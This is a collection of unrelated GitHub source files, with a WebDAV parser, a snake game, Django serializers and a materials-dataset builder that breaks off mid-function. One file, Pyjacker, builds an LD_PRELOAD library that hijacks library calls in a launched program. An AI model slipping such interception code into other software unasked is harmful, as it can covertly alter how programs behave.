599\n }\n statuses = dict(sorted(statuses.items()))\n if statuses:\n raise MultiStatusResponseError(statuses)\n\n\n# TODO: support `allprop`?\ndef prepare_propfind_request_data(\n name: Optional[str] = None, namespace: Optional[str] = None\n) -> Optional[str]:\n \"\"\"Prepares propfind request data from specified name.\n\n In this case, when sent to the server, the ` will only contain the\n `name` property\n \"\"\"\n if not name:\n return None\n name = MAPPING_PROPS.get(name) or name\n root = Element(\"propfind\", xmlns=\"DAV:\")\n SubElement(\n SubElement(root, \"prop\"), \"{DAV:}\" + name, xmlns=namespace or \"\"\n )\n return xml2string(root, encoding=\"unicode\")\n\n\ndef parse_multistatus_response(\n http_response: \"HTTPResponse\",\n) -> MultiStatusResponse:\n \"\"\"Parses multistatus response from the given http response.\"\"\"\n if http_response.status_code != 207:\n raise ValueError(\"http response is not a multistatus response\")\n return MultiStatusResponse(http_response.text)\n","repo_name":"skshetry/webdav4","sub_path":"src/webdav4/multistatus.py","file_name":"multistatus.py","file_ext":"py","file_size_in_byte":9248,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"62"} +{"seq_id":"10805659001","text":"from ctypes import *\nfrom string import Template\nimport re\n\nclass FunctionPrototype(object):\n\tORIG_POINTER_DECL_TPL = \"\"\"\nstatic ${ret_type} (*orig_${func_name})(${args}) = NULL;\n\"\"\"\n\n\tORIG_POINTER_INIT_TPL = \"\"\"\norig_${func_name} = (${ret_type} (*)(${args_types}))dlsym(RTLD_NEXT, \"${func_name}\");\n\"\"\"\n\n\tFAKE_FUNC_TPL = \"\"\"\n${ret_type} ${func_name}(${args})\n{\n\t${ret_type} (*func)(${args_types}) = 0;\n\n\tfunc = (${ret_type} (*)(${args_types}))hijack_get_func_ptr(\"${func_name}\");\n\n\tif (func == 0)\n\t\tfunc = orig_${func_name};\n\n\treturn func(${args_names});\n}\n\"\"\"\n\n\tregexp = re.compile('^(.+)\\s(\\w+)[(](.+)[)]$')\n\n\t@classmethod\n\tdef from_string(cls, string):\n\t\tmatch = FunctionPrototype.regexp.match(string)\n\t\tif match:\n\t\t\tret_type = match.group(1)\n\t\t\tname = match.group(2)\n\t\t\targs = []\n\t\t\tfor arg in [arg.strip() for arg in match.group(3).split(',')]:\n\t\t\t\ttype_and_name = arg.split(' ')\n\t\t\t\targs.append([\" \".join(type_and_name[:-1]), type_and_name[-1]])\n\t\t\treturn FunctionPrototype(name, ret_type, args)\n\t\telse:\n\t\t\treturn None\n\n\tdef __init__(self, name, ret_type, args):\n\t\tself.name = name\n\t\tself.ret_type = ret_type\n\t\tself.args = args\n\n\tdef orig_pointer_decl(self):\n\t\treturn Template(FunctionPrototype.ORIG_POINTER_DECL_TPL).substitute(ret_type=self.ret_type,\n\t\t func_name=self.name,\n\t\t args=', '.join([\"%s %s\" % tuple(lst) for lst in self.args])).strip()\n\n\tdef orig_pointer_init(self):\n\t\treturn Template(FunctionPrototype.ORIG_POINTER_INIT_TPL).substitute(ret_type=self.ret_type,\n\t\t func_name=self.name,\n\t\t args_types=\", \".join([lst[0] for lst in self.args])).strip()\n\n\tdef fake_func(self):\n\t\treturn Template(FunctionPrototype.FAKE_FUNC_TPL).substitute(ret_type=self.ret_type,\n\t\t func_name=self.name,\n\t\t args=', '.join([\"%s %s\" % tuple(lst) for lst in self.args]),\n\t\t args_types=', '.join([lst[0] for lst in self.args]),\n\t\t args_names=', '.join([lst[1] for lst in self.args])).strip()\n\nclass HijackerGenerator(object):\n\tMAIN_TPL = \"\"\"\n/*\n * Copyright (c) 2012, Lorenzo Masini \n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * * Neither the name of the nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n#include \n\n#include \n#include \n\n#define HOOKS_MODULE_ENV \"PYJACKER_HOOKS\"\n\nstatic PyObject *hooks_module = NULL;\n\n${orig_pointers_decls}\n\nstatic unsigned long hijack_get_func_ptr(const char *name)\n{\n\tPyObject *func = PyObject_GetAttrString(hooks_module, name);\n\tif (func == NULL) {\n\t\tPyErr_Print();\n\t\texit(-1);\n\t}\n\n\tPyObject *py_func_ptr = PyObject_GetAttrString(func, \"c_ptr\");\n\tif (py_func_ptr == NULL) {\n\t\tPyErr_Print();\n\t\texit(-1);\n\t}\n\n\tunsigned long func_addr = PyLong_AsLong(py_func_ptr);\n\tPy_DECREF(py_func_ptr);\n\tPy_DECREF(func);\n\n\treturn func_addr;\n}\n\n${fake_funcs}\n\nvoid __attribute__ ((constructor)) hijack_init(void)\n{\n\t${orig_pointers_inits}\n\n\tconst char *hooks_module_name = NULL;\n\thooks_module_name = getenv(HOOKS_MODULE_ENV);\n\tif (hooks_module_name == NULL) {\n\t\tfprintf(stderr, HOOKS_MODULE_ENV\" not set.\\\\n\");\n\t\texit(-1);\n\t}\n\n\tPy_Initialize();\n\n\thooks_module = PyImport_ImportModule(hooks_module_name);\n\n\tif (hooks_module == NULL) {\n\t\tPyErr_Print();\n\t\texit(-1);\n\t}\n}\n\nvoid __attribute__ ((destructor)) hijack_finalize(void)\n{\n\tPy_DECREF(hooks_module);\n\tPy_Finalize();\n}\n\"\"\"\n\n\tdef __init__(self):\n\t\tself.functions = []\n\n\tdef add_prototype(self, string):\n\t\tfunc = FunctionPrototype.from_string(string.strip())\n\t\tif func:\n\t\t\tself.functions.append(func)\n\n\tdef generate(self):\n\t\torig_pointers_decls = []\n\t\torig_pointers_inits = []\n\t\tfake_funcs = []\n\n\t\tfor function in self.functions:\n\t\t\torig_pointers_decls.append(function.orig_pointer_decl())\n\t\t\torig_pointers_inits.append(function.orig_pointer_init())\n\t\t\tfake_funcs.append(function.fake_func())\n\n\t\treturn Template(HijackerGenerator.MAIN_TPL).substitute(orig_pointers_decls='\\n'.join(orig_pointers_decls),\n\t\t\t \t\t\t orig_pointers_inits='\\n'.join(orig_pointers_inits),\n\t\t\t fake_funcs='\\n'.join(fake_funcs)).strip()\n\ngenerator = HijackerGenerator()\n\nclass hook(object):\n\tdef __init__(self, c_prototype, ctypes_ret_type=None, ctypes_args=[]):\n\t\tgenerator.add_prototype(c_prototype)\n\t\tself.ctypes_ret_type = ctypes_ret_type\n\t\tself.ctypes_args = ctypes_args\n\n\tdef __call__(self, f):\n\t\targs_types = self.ctypes_args\n\t\tLIBRARY_HOOK_FUNC = CFUNCTYPE(self.ctypes_ret_type, *args_types)\n\t\thook = LIBRARY_HOOK_FUNC(f)\n\t\tf.c_ptr = cast(hook, c_void_p).value\n\t\treturn f\n\ndef launch(command, hooks_file):\n\tfrom subprocess import Popen, PIPE\n\timport sys, os\n\n\tPYJACKER_SOURCE = \"hijacker.c\"\n\tPYJACKER_LIB = \"libhijacker.so\"\n\n\ttry:\n\t\twith open(\"hijacker.c\", \"w\") as f:\n\t\t\tf.write(generator.generate())\n\texcept IOError as e:\n\t\tprint('[-] Error generating c source: %s' % e)\n\t\tsys.exit(-1)\n\tprint('[+] Generated c source for hijacking library')\n\t\n\tcompile_cmd = ['gcc', PYJACKER_SOURCE, '-o', PYJACKER_LIB, '-shared', '-fPIC', '-Wall', '-O2']\n\ttry:\n\t\toutput = Popen(['python-config', '--cflags', '--libs'], stdout=PIPE).communicate()[0]\n\t\tcompile_cmd.extend([arg.strip() for arg in output.replace('\\n', ' ').split()])\n\texcept OSError as e:\n\t\tprint('[-] Error getting compile flags: %s' % e)\n\t\tsys.exit(-1)\n\tprint('[+] Got compile flags')\n\n\tgcc = Popen(compile_cmd)\n\tif gcc.wait() != 0:\n\t\tprint('[-] Error compiling library')\n\t\tsys.exit(-1)\n\tprint('[+] Compiled library in %s' % PYJACKER_LIB)\n\n\tprint('[+] Launcing program\\n')\n\tenv = os.environ\n\tenv['LD_PRELOAD'] = os.path.abspath(PYJACKER_LIB)\n\tenv['PYJACKER_HOOKS'] = os.path.splitext(os.path.basename(hooks_file))[0]\n\tenv['PYTHONPATH'] = os.path.dirname(os.path.abspath(hooks_file))\n\tret = 0\n\ttry:\n\t\tprogram = Popen(command, env=env)\n\t\tret = program.wait()\n\tfinally:\n\t\tos.remove(PYJACKER_SOURCE)\n\t\tos.remove(PYJACKER_LIB)\n\treturn ret\n","repo_name":"rugginoso/Pyjacker","sub_path":"pyjacker.py","file_name":"pyjacker.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"22365786052","text":"# This file works with Pymesh only\n\nimport sys, pymesh\n\nclass ICOSPHERE:\n def __init__(self):\n pass\n \n @staticmethod\n def construct(filename, refinment = 0, diameter = 1.0):\n sphere_mesh = pymesh.generate_icosphere(diameter,\n [0.,0.,0.],\n refinement_order= int(refinment))\n pymesh.save_mesh(filename, sphere_mesh);\n return sphere_mesh\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 3:\n filename = str(sys.argv[0])\n refinment = sys.argv[1]\n diameter = sys.argv[2]\n elif len(sys.argv) == 2:\n filename = str(sys.argv[0])\n refinment = sys.argv[1]\n diameter = 1.0\n elif len(sys.argv) == 1:\n filename = str(sys.argv[0])\n refinment = 1\n diameter = 1.0\n else:\n print(\"Error: the input variables are not defined correctly.\")\n \n #try:\n mesh = ICOSPHERE.construct(filename, refinment, diameter)\n #except:\n # print(\"Not enough/correct arguments have been passed.\")","repo_name":"eesd-epfl/spherical-harmonics","sub_path":"src/codes/icosphere.py","file_name":"icosphere.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19576705351","text":"import pygame\nimport random\n\npygame.init()\n\nwidth = 600\nheight = 600\n\nscreen = pygame.display.set_mode((height,width))\n\npygame.display.set_caption('Snake')\n\nred = (255,0,0)\nwhite = (255,255,255)\ngreen = (0,155,0)\n\nclock = pygame.time.Clock()\n\nfont = pygame.font.SysFont(None , 25 )\n\ndef snake(block_size, snakeList):\n for XnY in snakeList:\n pygame.draw.rect(screen, green, (XnY[0], XnY[1], block_size, block_size))\n \n\ndef message(msg,color):\n screen_text = font.render(msg, True, color)\n screen.blit(screen_text, (200,200))\n\ndef gameloop():\n x_change = width/2\n y_change = height/2\n\n block_size = 10\n AppleSize = 10\n\n lead_x_change = 0\n lead_y_change = 0\n\n snakeList = []\n snakeLength = 1\n \n GameExit = False\n GameOver = False\n\n randAppleX = random.randrange(0, width - 30, 10)\n randAppleY = random.randrange(0, height - 30, 10)\n \n while not GameExit:\n\n while GameOver == True:\n screen.fill(white)\n message('GAME OVER , Press P to play again or Q to quit',red)\n pygame.display.update()\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n GameExit = True\n GameOver = False \n if event.key == pygame.K_p:\n gameloop()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n GameExit = True\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n lead_x_change = -10\n lead_y_change = 0\n elif event.key == pygame.K_RIGHT:\n lead_x_change = 10\n lead_y_change = 0\n elif event.key == pygame.K_UP:\n lead_y_change = -10\n lead_x_change = 0\n elif event.key == pygame.K_DOWN:\n lead_y_change = 10\n lead_x_change = 0\n \n \n if x_change >= 600 or x_change < 0 or y_change >= 600 or y_change < 0:\n GameOver = True\n \n x_change += lead_x_change \n y_change += lead_y_change\n \n screen.fill(white)\n \n \n snakehead = []\n snakehead.append(x_change)\n snakehead.append(y_change)\n snakeList.append(snakehead)\n\n if len(snakeList) > snakeLength:\n del snakeList[0]\n \n for eachElement in snakeList[:-1]:\n if eachElement == snakehead:\n GameOver = True \n\n snake(block_size, snakeList)\n\n \n pygame.draw.rect(screen, red, [randAppleX, randAppleY, AppleSize, AppleSize])\n clock.tick(30)\n pygame.display.update()\n\n if x_change == randAppleX and y_change == randAppleY:\n randAppleX = random.randrange(0, width - 30, 10)\n randAppleY = random.randrange(0, height - 30, 10)\n snakeLength += 1 \n \n \n pygame.display.update()\n pygame.quit()\n quit()\n\n\ngameloop()","repo_name":"MukalDadhwal/py_projects-","sub_path":"snake_game.py","file_name":"snake_game.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"28906383874","text":"from rest_framework import serializers\n\nfrom . models import Channel, EPGEntity, Genre, Person, Actor\n\n\nclass ChannelSerializer(serializers.HyperlinkedModelSerializer):\n\n def create(self, validated_data):\n return Channel.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.uid = validated_data.get('uid', instance.uid)\n instance.title = validated_data.get('title', instance.title)\n instance.order = validated_data.get('order', instance.order)\n instance.channel = validated_data.get('channel', instance.channel)\n instance.television = validated_data.get(\n 'television', instance.television)\n\n @staticmethod\n def create_from_xml_dict(data):\n channel = Channel.objects.create(\n uid=data[\"@id\"],\n title=data[\"@stanice\"],\n order=data.get(\"@poradi\"),\n channel_type=data.get(\"@typ-stanice\"),\n television=data.get(\"@televize\"),\n )\n channel.save()\n return channel\n\n class Meta:\n model = Channel\n fields = ('id', 'uid', 'title', 'order', 'channel_type', 'television')\n\n\nclass GenreSerializer(serializers.HyperlinkedModelSerializer):\n\n def create(self, validated_data):\n return Genre.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.title = validated_data.get('title', instance.title)\n\n class Meta:\n model = Genre\n fields = ('id', 'title',)\n\n\nclass PersonSerializer(serializers.HyperlinkedModelSerializer):\n\n def create(self, validated_data):\n return Person.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.name = validated_data.get('name', instance.name)\n\n class Meta:\n model = Person\n fields = ('id', 'name',)\n\n\nclass ActorSerializer(serializers.HyperlinkedModelSerializer):\n\n def create(self, validated_data):\n return Actor.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.uid = validated_data.get('uid', instance.uid)\n instance.name = validated_data.get('name', instance.name)\n\n class Meta:\n model = Actor\n fields = ('id', 'uid', 'name')\n\n\nclass EPGEntitySerializer(serializers.HyperlinkedModelSerializer):\n genres = GenreSerializer(read_only=True, many=True)\n actors = ActorSerializer(read_only=True, many=True)\n\n def create(self, validated_data):\n return EPGEntity.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.uid = validated_data.get('uid', instance.uid)\n instance.title = validated_data.get('title', instance.title)\n instance.original_title = validated_data.get(\n 'original_title', instance.original_title)\n instance.length = validated_data.get('length', instance.length)\n instance.summary = validated_data.get('summary', instance.summary)\n instance.description = validated_data.get(\n 'description', instance.description)\n instance.year = validated_data.get('year', instance.year)\n instance.state = validated_data.get('state', instance.state)\n instance.rating = validated_data.get('rating', instance.rating)\n\n @staticmethod\n def create_from_xml_dict(data):\n original_title = data.get(\"nazev-originalni\")\n if original_title and isinstance(original_title, list):\n original_title = original_title[0]\n epg = EPGEntity.objects.create(\n uid=data[\"@id\"],\n title=data[\"nazev\"],\n original_title=original_title,\n length=data.get(\"delka\"),\n summary=data.get(\"kratkypopis\"),\n description=data.get(\"dlouhypopis\"),\n year=data.get(\"rok-vyroby\"),\n state=data.get(\"zeme\", {}).get(\"@code\"),\n rating=data.get(\"rating\"),\n )\n epg.save()\n return epg\n\n def get_actors(self, obj):\n return obj.persones.filter(role='actor')\n\n class Meta:\n model = EPGEntity\n fields = (\n 'id',\n 'uid',\n 'title',\n 'original_title',\n 'length',\n 'summary',\n 'description',\n 'year',\n 'state',\n 'rating',\n 'genres',\n 'actors')\n","repo_name":"mcyprian/what-to-watch","sub_path":"epg/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"44448953704","text":"from melbwireless.maps.models import Node\nimport simplejson\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse, HttpResponseRedirect\n\ndef compat_map_view(request):\n try:\n node_id = request.GET['id']\n except KeyError:\n try:\n node_id = request.GET['ID']\n except KeyError:\n node_id = request.META['QUERY_STRING']\n return HttpResponseRedirect(\n reverse('melbwireless:node_view', kwargs={'pk': node_id.upper()}),\n )\n\n\ndef node_json(request):\n return HttpResponse(\n simplejson.dumps(\n dict(\n (\n node.id,\n {\n 'lat': node.latitude,\n 'lon': node.longitude,\n 'alt': node.altitude,\n 'owner': node.owner.name,\n },\n )\n for node\n in Node.objects.filter(\n id__startswith = 'A',\n )\n ),\n indent=4,\n ),\n content_type='text/json',\n )\n","repo_name":"tysonclugg/Melbourne-Wireless","sub_path":"melbwireless/maps/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"24857089146","text":"\nfrom aBuild import msg\nfrom aBuild.utility import chdir, _get_reporoot\nfrom aBuild.database.crystal import Crystal\n\n\n\ndef pointInPolygon(point,polygon):\n # This is the winding number algorithm.\n from numpy.linalg import norm\n from numpy import arccos,array,dot,pi\n refVec = array([1,0])\n angleSum = 0\n for r in range(3):\n vecOne = polygon[r] - point\n vecTwo = polygon[(r+1)%3] - point\n angleOne = arccos(dot(vecOne,refVec)/norm(vecOne)) if vecOne[1] > 0 else 2 * pi - arccos(dot(vecOne,refVec)/norm(vecOne))\n angleTwo = arccos(dot(vecTwo,refVec)/norm(vecTwo)) if vecTwo[1] > 0 else 2 * pi - arccos(dot(vecTwo,refVec)/norm(vecTwo))\n\n if abs(abs(angleTwo - angleOne) - pi) < 1e-4:\n # If the angle between two adjacent vectors is pi, then we found the plane we need.\n return True\n# theta = arccos(dot(vecOne,vecTwo)/(norm(vecOne) * norm(vecTwo) ))\n if abs(angleTwo - angleOne) < pi:\n if angleTwo - angleOne < 0:\n angleSum += 1\n else:\n angleSum += -1\n else:\n if angleTwo - angleOne < 0:\n angleSum += -1\n else:\n angleSum += 1\n if abs(angleSum) != 3:\n return False\n else:\n return True\n\nclass dataset:\n\n\n def __init__(self,crystals):\n from os import path,makedirs\n from aBuild.calculators.vasp import VASP\n\n self.crystals = crystals\n self.species = crystals[0].crystalSpecies\n\n\n \"\"\"\n Method for initializing a dataset object from an enumeration dictionary.\n This method will:\n 1- Enumerate derivative crystal structures (if needed)\n 2- Generate crystal structures from the enumeration output\n 3- Build a list of Crystal objects to initialize with.\n\n Arg:\n enumDict(dictionary): dictionary containing enumeration information.\n systemSpecies(list of strs): Needed to initialize the Crystal objects\n \"\"\"\n @staticmethod\n def init_enum(enumdicts,systemSpecies):\n from aBuild.enumeration import Enumerate\n from aBuild.calculators.vasp import VASP\n from aBuild.database.crystal import Crystal\n from aBuild.jobs import Job\n from random import randrange\n from aBuild.utility import chdir\n from numpy import array\n from os import remove, path\n\n # from crystal import Crystal\n from os import path\n import os\n\n print(\"Building database from enumerations\")\n crystals = []\n # configIndex = startPoint = self._starting_point\n for eDict in enumdicts:\n enumController = Enumerate(eDict)\n if enumController.nEnumStructs == 0:\n msg.warn('There are no enumerated structures for lattice type {}. Not building any VASP folders for them.'.format(eDict[\"lattice\"]))\n enumController.buildInputFile()\n\n enumController.enumerate()\n\n # Loop to generate random structures for a given lattice type\n for i in range(eDict[\"nconfigs\"]):\n print('Adding {} structure # {} to database'.format(eDict[\"lattice\"],rStruct) )\n with open('structNums','a+') as f:\n f.write(eDict[\"name\"] + ' ' + str(i) + '\\n')\n enumController.generatePOSCAR(i)\n\n poscarpath = path.join(enumController.root,\"poscar.{}.{}\".format(eDict[\"name\"],rStruct))\n thisCrystal = Crystal.from_poscar(poscarpath, systemSpecies) #title = ' '.join([self.enumDicts[index][\"lattice\"],\" str #: {}\"]).format(rStruct)\n crystals.append(thisCrystal)\n delpath = path.join(enumController.root,\"poscar.{}.{}\".format(eDict[\"name\"],rStruct))\n remove(delpath)\n return dataset(crystals)\n\n \"\"\"\n Method for initializing a dataset object from a single data file. For example, train.cfg\n and new_training.cfg both contain hundreds of crystal structures.\n This method will:\n 1- Recognize the file type\n 2- Read the file and parse each crystal out.\n 3- Construct a list of Crystal objects for initializing the dataset object.\n\n Arg:\n datafile(str): path to datafile\n species(list of strs): Needed to initialize the Crystal objects\n linesformat(str): Specifies what type of file it is.\n \"\"\"\n @staticmethod\n def from_file(datafile,species,eDicts = None,onlyCloseToHull = False, getCrystallographicInfo = False):\n from os import path\n handler = {'new_training.cfg':lambda file: dataset._init_mlp(file),'train.cfg': 'mlptrain','structures.in':'ce',}\n if 'relaxed' in datafile:\n handler[path.split(datafile)[-1]] = lambda file: dataset._init_mlp(file,species)\n if 'dataReport' in datafile:\n handler[path.split(datafile)[-1]] = lambda file: dataset._init_dataReport(file,species,onlyCloseToHull = onlyCloseToHull, getCrystallographicInfo = getCrystallographicInfo, enumDicts = eDicts)\n if 'train' in datafile:\n handler[path.split(datafile)[-1]] = lambda file: dataset._init_mlp(file,species)\n return handler[path.split(datafile)[-1]](datafile)\n\n @staticmethod\n def _init_dataReport(datafile,species,onlyCloseToHull = False, cutoff = 5e-3,getCrystallographicInfo=False,enums = None):\n if getCrystallographicInfo and enumDicts == None:\n msg.fatal(\"Can't extract crystallographic information without the enumeration dictionaries\")\n\n with open(datafile,'r') as f:\n lines = f.readlines()\n\n del lines[:4]\n required = [\"lattice\",\"basis\", \"atom_types\",\"crystalSpecies\",\"latpar\",\"coordsys\",\"systemSpecies\"]\n\n nAtoms = int((len(lines[0].split()) - 9)/2)\n\n lookup = {}\n for enum in enums:\n lookup[enum.lattice.lattice_name] = enum\n\n # In case we don't want the full crystallographic information,\n # let's build an empty crystal object that we can fill up with\n # the information that we want.\n templateDict = {}\n for key in required:\n templateDict[key] = None\n templateDict[\"results\"] = {}\n# crystal = Crystal(templateDict)\n\n count = 0\n crystals = []\n for line in lines:\n formationEnthalpy = float(line.split()[8])\n energyF = float(line.split()[6])\n title = ' '.join(line.split()[:6])\n atomCounts = list(map(int,line.split()[-nAtoms:]))\n lattice = str(line.split()[1].split('_')[1])\n structNum = int(line.split()[5])\n\n if len(line.split()) == 16:\n distanceToHull = float(line.split()[9])\n else:\n distanceToHull = None\n if onlyCloseToHull:\n if distanceToHull > cutoff:\n continue\n\n if getCrystallographicInfo:\n crystal = Crystal.fromEnum(lookup[lattice],structNum,species)\n crystal.results[\"fEnth\"] = formationEnthalpy\n crystal.results[\"energyF\"] = energyF\n crystal.results[\"distToHull\"] = distanceToHull\n else:\n templateDict[\"fEnth\"] = formationEnergy\n templateDict[\"energyF\"] = energyF\n templateDict[\"distanceToHull\"] = distanceToHull\n templateDict[\"title\"] = title\n templateDict[\"atom_counts\"] = atomCounts\n templateDict[\"crystalSpecies\"] = species\n crystal = Crystal(templateDict)\n\n\n count += 1\n print(\"Read in crystal {}\".format(count))\n crystals.append(crystal)\n return dataset(crystals)\n\n\n @staticmethod\n def _init_mlp(datafile,species):\n from aBuild.database.crystal import Crystal\n import os\n from os import path\n from aBuild.calculators.vasp import VASP\n from aBuild.calculators.aflow import AFLOW\n with open(datafile,'r') as f:\n lines = f.readlines()\n\n crystals = []\n nCrystals = 0\n # Get information for pures so I can calculate formation energies\n root = os.getcwd()\n trainingRoot = path.join(root,'training_set')\n puredirs = [path.join(trainingRoot,'pure' + x) for x in species]\n pures = [AFLOW.from_path(x,species,filesuffix = '.relax2.xz') for x in puredirs]\n for pure in pures:\n pure.read_results()\n # End reading pures\n\n count = 0\n for index,line in enumerate(lines):\n if 'BEGIN' in line:\n indexStart = index\n elif 'END' in line:\n count += 1\n indexEnd = index\n structlines = lines[indexStart:indexEnd + 1]\n if count %1000 == 0:\n print(\"Processed {} crystals\".format(nCrystals))\n nCrystals += 1\n\n thisCrystal = Crystal.from_lines(structlines,species,'mlp')\n # Only add the crystal if mindist is reasonable\n if thisCrystal.minDist > 1.5:\n # Only calculate formation energy if I have information about the pures\n\n\n if True not in [x.crystal is None or x.crystal.results is None or thisCrystal.results[\"energyF\"] is None for x in pures]:\n thisCrystal.results[\"fEnth\"] = thisCrystal.results[\"energyF\"]/thisCrystal.nAtoms - sum( [ pures[i].crystal.results[\"energyF\"]/pures[i].crystal.nAtoms * thisCrystal.concentrations[i] for i in range(thisCrystal.nTypes)])\n\n # Otherwise, set it to a ridiculus number\n else:\n thisCrystal.results[\"fEnth\"] = 1000\n thisCrystal.results[\"distToHull\"] = None\n # Save the crystal for later.\n crystals.append(thisCrystal)\n else:\n msg.warn(\"Mindist is pretty small for this one, so I'm not gonna add it\")\n\n return dataset(crystals)\n\n @staticmethod\n def from_paths(paths,systemSpecies,calculator='VASP'):\n from aBuild.database.crystal import Crystal\n from aBuild.calculators.vasp import VASP\n from aBuild.calculators.aflow import AFLOW\n\n from aBuild.calculators.lammps import LAMMPS\n from os import path\n\n # Get pures information\n puredirs = [path.join(path.split(paths[0])[0],'pure' + x) for x in systemSpecies]\n pures = [AFLOW.from_path(x,systemSpecies,filesuffix = '.relax2.xz') for x in puredirs]\n for pure in pures:\n pure.read_results()\n crystals = []\n\n for dirpath in paths:\n if calculator == 'VASP' or calculator == 'AFLOW':\n if path.isfile(path.join(dirpath,'aflow.in')):\n print(\"Initializing AFLOW object from path: {}\".format(dirpath))\n calc = AFLOW.from_path(dirpath,systemSpecies)\n calc.read_results(pures = pures)\n if calc.crystal.results is not None:\n print(\"Formation energy is {}.\".format(calc.crystal.results[\"fEnth\"]))\n else:\n calc = VASP.from_path(dirpath,systemSpecies)\n calc.read_results(pures=pures)\n\n\n if calc.crystal is not None and calc.crystal.results is not None:\n print(\"Adding Crystal\")\n crystals.append(calc.crystal)\n species = crystals[0].systemSpecies\n return dataset(crystals)\n\n\n def starting_point(self,folderpath):\n from os import path\n from glob import glob\n from aBuild.utility import chdir\n\n with chdir(folderpath):\n dirsE = glob('E.*')\n dirsA = glob('A.*')\n prevCalcs = [int(x.split('.')[1]) for x in dirsE] + [int(x.split('.')[1]) for x in dirsA]\n prevCalcs.sort()\n if prevCalcs != []:\n return prevCalcs[-1] + 1\n else:\n return 1\n\n # def write(self):\n\n\n def buildFolders(self,buildpath,calculator,runGetKpoints = True,foldername = 'A',onlyCloseToHull = False,distToHull = 5e-3):\n from os import path\n from aBuild.calculators.vasp import VASP\n from aBuild.calculators.aflow import AFLOW\n from aBuild.calculators.lammps import LAMMPS\n from aBuild.calculators.espresso import ESPRESSO\n from aBuild.jobs import Job\n from math import floor\n import os\n\n print(\"Building folders in {}\".format(buildpath))\n if not path.isdir(buildpath):\n os.mkdir(buildpath)\n print('Made path:',buildpath)\n configIndex = startPoint = self.starting_point(buildpath)\n\n lookupCalc = {'aflow': lambda specs: AFLOW.from_dictionary(specs),\n 'vasp': lambda specs: VASP.from_dictionary(specs),\n 'qe': lambda specs: ESPRESSO(specs,self.species),\n 'lammps': lambda specs: LAMMPS(specs,self.species)}\n\n lookupBuild = {'aflow': lambda obj: obj.buildFolder(),\n 'vasp': lambda obj: obj.buildFolder(runGetKPoints = runGetKpoints),\n 'qe': lambda obj:obj.buildFolder(),\n 'lammps': lambda obj: obj.buildFolder()}\n\n for crystal in self.crystals:\n if onlyCloseToHull:\n if crystal.results[\"distToHull\"] is None:\n msg.fatal(\"You asked only for cystals that are close to the hull, but I don't have a value for that distance.\")\n elif crystal.results[\"distToHull\"] > distToHull:\n continue\n print(\"Building crystal {}\".format(crystal.title))\n runpath = path.join(buildpath,foldername + \".{}\".format(configIndex) )\n #Augment the existing dictionary in preparation for sending it in\n calculator[calculator[\"active\"]][\"crystal\"] = crystal\n calculator[calculator[\"active\"]][\"directory\"] = runpath\n\n # Initialize the calculation object\n print('initializing VASP object')\n thisCalc = lookupCalc[calculator[\"active\"]](calculator[calculator[\"active\"]])\n\n # Build the path\n if not path.isdir(runpath):\n os.mkdir(runpath)\n else:\n msg.fatal(\"I'm gonna write over top of a current directory. ({}) I think I'll stop instead.\".format(runpath))\n\n # Change the directory and build the folder\n print(\"Building folder for structure: {}\".format(crystal.title) )\n with chdir(runpath):\n success = lookupBuild[calculator[\"active\"]](thisCalc)\n if not success:\n if calculator[\"active\"] == 'aflow':\n retryCalc = lookupCalc[\"vasp\"](calculator['vasp'])\n with chdir(runpath):\n success = lookupBuild[\"vasp\"](retryCalc)\n if not success:\n msg.fatal(\"I tried building an aflow dir and it failed, then I tried building a VASP dir and it failed too. I give up\")\n else:\n msg.warn(\"VASP(??) directory build failed, and I'm not sure why\")\n\n configIndex += 1\n\n\n # Build the submission script\n exdir = path.join(buildpath,'A.')\n if calculator['active'] == 'aflow':\n 